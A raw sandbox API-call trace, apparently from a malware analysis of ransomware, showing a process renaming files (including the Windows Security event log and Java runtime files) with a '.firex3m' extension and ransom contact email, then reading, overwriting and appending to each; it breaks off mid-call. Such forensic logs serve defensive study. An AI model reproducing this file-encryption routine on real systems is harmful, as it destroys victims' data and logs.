lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARAME~1.FIR")) returned 0x6d5080 [0094.143] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0094.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0094.143] GetProcessHeap () returned 0x630000 [0094.143] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f65838 [0094.143] GetProcessHeap () returned 0x630000 [0094.143] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f70c68 [0094.143] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.143] ReadFile (in: hFile=0x68c, lpBuffer=0x6f65838, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f65838*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.967] GetProcessHeap () returned 0x630000 [0100.967] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fed6a8 [0100.967] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.967] WriteFile (in: hFile=0x68c, lpBuffer=0x6f70c68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f70c68*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.967] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.968] WriteFile (in: hFile=0x68c, lpBuffer=0x6f7c067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f7c067*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.969] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.969] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.969] CloseHandle (hObject=0x68c) returned 1 [0100.975] GetProcessHeap () returned 0x630000 [0100.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f70c68 | out: hHeap=0x630000) returned 1 [0100.977] GetProcessHeap () returned 0x630000 [0100.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f65838 | out: hHeap=0x630000) returned 1 [0100.978] GetProcessHeap () returned 0x630000 [0100.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fed6a8 | out: hHeap=0x630000) returned 1 [0100.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.978] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x221db9d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x31468, dwReserved0=0xb1c7496, dwReserved1=0x6f65830, cFileName="Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARAME~1.FIR")) returned 0x6d52c0 [0100.978] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0100.978] Sleep (dwMilliseconds=0x1) [0101.622] Sleep (dwMilliseconds=0x1) [0102.220] Sleep (dwMilliseconds=0x1) [0102.402] Sleep (dwMilliseconds=0x1) [0102.560] Sleep (dwMilliseconds=0x1) [0102.776] Sleep (dwMilliseconds=0x1) [0102.986] Sleep (dwMilliseconds=0x1) [0103.135] Sleep (dwMilliseconds=0x1) [0103.269] Sleep (dwMilliseconds=0x1) [0103.545] Sleep (dwMilliseconds=0x1) [0105.075] Sleep (dwMilliseconds=0x1) [0107.097] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Logs\\Security.evtx", len=0x15 | out: pbstr=0x433ff7c*="C:\\Logs\\Security.evtx") returned 1 [0107.102] GetProcessHeap () returned 0x630000 [0107.102] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699768, Size=0x20) returned 0x6e8fe0 [0107.102] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0107.120] CloseHandle (hObject=0x6a8) returned 1 [0107.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.120] MoveFileW (lpExistingFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), lpNewFileName="C:\\Logs\\Security.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\security.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0107.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0107.121] FindFirstFileW (in: lpFileName="C:\\Logs\\Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SECURI~1.FIR")) returned 0x6d5280 [0107.121] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0107.121] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\security.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0107.121] GetProcessHeap () returned 0x630000 [0107.121] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7233a70 [0107.122] GetProcessHeap () returned 0x630000 [0107.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x723eea0 [0107.123] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.123] ReadFile (in: hFile=0x6a8, lpBuffer=0x7233a70, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7233a70*, lpNumberOfBytesRead=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.063] GetProcessHeap () returned 0x630000 [0113.063] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0113.063] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.063] WriteFile (in: hFile=0x6a8, lpBuffer=0x723eea0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723eea0*, lpNumberOfBytesWritten=0x433ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.064] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.064] WriteFile (in: hFile=0x6a8, lpBuffer=0x724a29f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x724a29f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.066] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.066] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.066] CloseHandle (hObject=0x6a8) returned 1 [0113.862] GetProcessHeap () returned 0x630000 [0113.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723eea0 | out: hHeap=0x630000) returned 1 [0113.862] GetProcessHeap () returned 0x630000 [0113.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7233a70 | out: hHeap=0x630000) returned 1 [0113.862] GetProcessHeap () returned 0x630000 [0113.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0113.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.863] FindFirstFileW (in: lpFileName="C:\\Logs\\Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9d0e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x111024, dwReserved0=0xb1c7496, dwReserved1=0x7233a68, cFileName="Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SECURI~1.FIR")) returned 0x6d5540 [0113.863] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0113.863] Sleep (dwMilliseconds=0x1) [0114.319] Sleep (dwMilliseconds=0x1) [0114.883] Sleep (dwMilliseconds=0x1) [0115.140] Sleep (dwMilliseconds=0x1) [0115.498] Sleep (dwMilliseconds=0x1) [0115.907] Sleep (dwMilliseconds=0x1) [0117.155] Sleep (dwMilliseconds=0x1) [0117.169] Sleep (dwMilliseconds=0x1) [0117.185] Sleep (dwMilliseconds=0x1) [0117.562] Sleep (dwMilliseconds=0x1) [0117.656] Sleep (dwMilliseconds=0x1) [0117.678] Sleep (dwMilliseconds=0x1) [0117.687] Sleep (dwMilliseconds=0x1) [0117.703] Sleep (dwMilliseconds=0x1) [0117.719] Sleep (dwMilliseconds=0x1) [0120.282] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties", len=0x37 | out: pbstr=0x433ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 1 [0120.282] GetProcessHeap () returned 0x630000 [0120.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x14c) returned 0x66a3e0 [0120.282] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0120.282] CloseHandle (hObject=0x6bc) returned 1 [0120.282] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.283] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0xab088724, dwReserved1=0x0, cFileName="sound.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SOUNDP~1.FIR")) returned 0x6d4ec0 [0120.283] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0120.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0120.284] GetProcessHeap () returned 0x630000 [0120.284] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c1) returned 0x6672f8 [0120.284] GetProcessHeap () returned 0x630000 [0120.284] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c1) returned 0x6f33a38 [0120.284] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.284] ReadFile (in: hFile=0x6bc, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x4a0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x433ff0c*=0x4a0, lpOverlapped=0x0) returned 1 [0120.292] GetProcessHeap () returned 0x630000 [0120.292] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0120.292] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.292] WriteFile (in: hFile=0x6bc, lpBuffer=0x6f33a38*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33a38*, lpNumberOfBytesWritten=0x433ff0c*=0x4a0, lpOverlapped=0x0) returned 1 [0120.293] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.293] WriteFile (in: hFile=0x6bc, lpBuffer=0x6f33ed7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33ed7*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.293] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.293] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.293] CloseHandle (hObject=0x6bc) returned 1 [0120.294] GetProcessHeap () returned 0x630000 [0120.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f33a38 | out: hHeap=0x630000) returned 1 [0120.294] GetProcessHeap () returned 0x630000 [0120.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0120.294] GetProcessHeap () returned 0x630000 [0120.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0120.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xda50c0b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0xb1c7496, dwReserved1=0x6672f0, cFileName="sound.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SOUNDP~1.FIR")) returned 0x6d5200 [0120.294] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.294] Sleep (dwMilliseconds=0x1) [0128.442] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc", len=0x36 | out: pbstr=0x433ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 1 [0128.442] GetProcessHeap () returned 0x630000 [0128.442] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf0) returned 0x66a3e0 [0128.443] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0128.443] CloseHandle (hObject=0x6d4) returned 1 [0128.443] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.444] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0xa083032, dwReserved1=0x0, cFileName="profile.jfc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROFIL~1.FIR")) returned 0x6d5480 [0128.444] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0128.444] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0128.444] GetProcessHeap () returned 0x630000 [0128.444] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e81) returned 0x6eff150 [0128.445] GetProcessHeap () returned 0x630000 [0128.445] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4e81) returned 0x722bf58 [0128.445] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.445] ReadFile (in: hFile=0x6d4, lpBuffer=0x6eff150, nNumberOfBytesToRead=0x4e60, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eff150*, lpNumberOfBytesRead=0x433ff0c*=0x4e60, lpOverlapped=0x0) returned 1 [0130.234] GetProcessHeap () returned 0x630000 [0130.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0130.234] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.234] WriteFile (in: hFile=0x6d4, lpBuffer=0x722bf58*, nNumberOfBytesToWrite=0x4e60, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722bf58*, lpNumberOfBytesWritten=0x433ff0c*=0x4e60, lpOverlapped=0x0) returned 1 [0130.235] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.235] WriteFile (in: hFile=0x6d4, lpBuffer=0x7230db7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7230db7*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0130.235] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.235] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0130.235] CloseHandle (hObject=0x6d4) returned 1 [0130.236] GetProcessHeap () returned 0x630000 [0130.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722bf58 | out: hHeap=0x630000) returned 1 [0130.237] GetProcessHeap () returned 0x630000 [0130.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eff150 | out: hHeap=0x630000) returned 1 [0130.237] GetProcessHeap () returned 0x630000 [0130.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0131.300] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x13927e0e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e85, dwReserved0=0xb1c7496, dwReserved1=0x6eff148, cFileName="profile.jfc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROFIL~1.FIR")) returned 0x6d5380 [0131.300] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0131.301] Sleep (dwMilliseconds=0x1) [0131.333] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", len=0x38 | out: pbstr=0x433ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 1 [0131.333] GetProcessHeap () returned 0x630000 [0131.333] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x64) returned 0x66a3e0 [0131.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0131.337] CloseHandle (hObject=0x6e4) returned 1 [0131.337] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, 